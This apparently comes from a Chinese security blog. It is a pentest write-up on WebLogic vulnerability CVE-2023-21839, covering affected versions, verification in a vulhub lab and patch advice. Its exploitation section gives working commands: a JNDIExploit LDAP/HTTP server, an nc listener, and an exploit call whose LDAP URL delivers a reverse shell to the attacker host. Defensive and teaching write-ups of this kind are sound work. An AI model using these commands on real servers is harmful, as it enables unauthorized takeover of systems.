Weblogic 未授权远程代码执行漏洞(CVE-2023-21839)


前言

持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。

0x01 漏洞描述

- Weblogic 未授权远程代码执行漏洞(CVE-2023-21839) -

Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。

影响版本:

  • Oracle WebLogic 12.2.1.3.0
  • Oracle WebLogic 12.2.1.4.0
  • Oracle WebLogic 14.1.1.0.0

0x02 漏洞等级

威胁级别 高危 中危 低危

0x03 漏洞验证

演示靶场环境使用vulhub搭建。

利用CVE-2023-21839工具对其进行漏洞复现。

使用命令如下:

python3 CVE-2023-21839.py -ip x.x.x.x -p xx -l ldap://x.x.x.x 

DNSLog平台接收到响应请求,证明漏洞存在。

0x04 漏洞利用

此漏洞配合 JNDIExploit 工具可以实现远程代码执行。

演示说明:

受害服务器:192.168.110.104   # 运行weblogic服务的演示靶场环境
攻击者服务器:192.168.110.18  # 运行LDAP、NC服务,此服务器IP需要能被受害服务器访问到

在攻击者服务器上运行 JNDIExploit 工具,启动ldap服务和http服务,运行攻击载荷。

> java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.110.18
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...

注意:JNDIExploit -i 的服务器IP,不能设置成0.0.0.0的格式,否则无法执行命令成功,会导致无法将LDAP请求转发给HTTP服务,问题出在0.0.0.0:3456上面,不会自动转换为对应的IP地址,报错信息:Send LDAP reference result for Basic/ReverseShell/192.168.110.19/4444 redirecting to http://0.0.0.0:3456/ExploitKFSYyISScr.class

在攻击者服务器上运行 NC 工具,启动监听端口,用于接收反弹的shell。

> nc -lvvp 4444
lstn on [any] 4444 ..

利用CVE-2023-21839工具执行反弹shell命令。

#格式
python3 CVE-2023-21839.py -ip 受害服务器IP -p 受害服务器端口 -l ldap://LDAP服务器IP:LDAP运行端口/Basic/ReverseShell/NC监听服务器IP/NC监听服务器端口
#示例
python3 CVE-2023-21839.py -ip 192.168.110.104 -p 7001 -l ldap://192.168.110.18:1389/Basic/ReverseShell/192.168.110.18/4444

CVE-2023-21839工具执行成功后,在 JNDIExploit 运行界面可以看到如下请求内容。

紧接着 NC 监听界面,可以收到反弹回来的shell,到此即获取到了受害服务器的权限。

0x05 漏洞修复

  1. 目前厂商已发布升级补丁以修复漏洞。
  2. 通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。
  3. 禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启。
  4. 升级Weblogic Server运行环境的JDK版本。

文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
 上一篇
APP测试 - MyAndroidTools 安卓管理工具 APP测试 - MyAndroidTools 安卓管理工具
一款功能强大的 Android 应用程序管理和分析工具,主要用于控制和管理 Android 设备上的应用组件和服务。
下一篇 
交互式Shell管理工具Platypus 交互式Shell管理工具Platypus
Platypus 是一款支持多会话的交互式反向 Shell 管理器。在实际的渗透测试中,为了解决 Netcat/Socat 等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能(如:交互式 Shell、文件操作、隧道等),可以更方便灵活地对反向 Shell 会话进行管理。
2024-01-09
  目录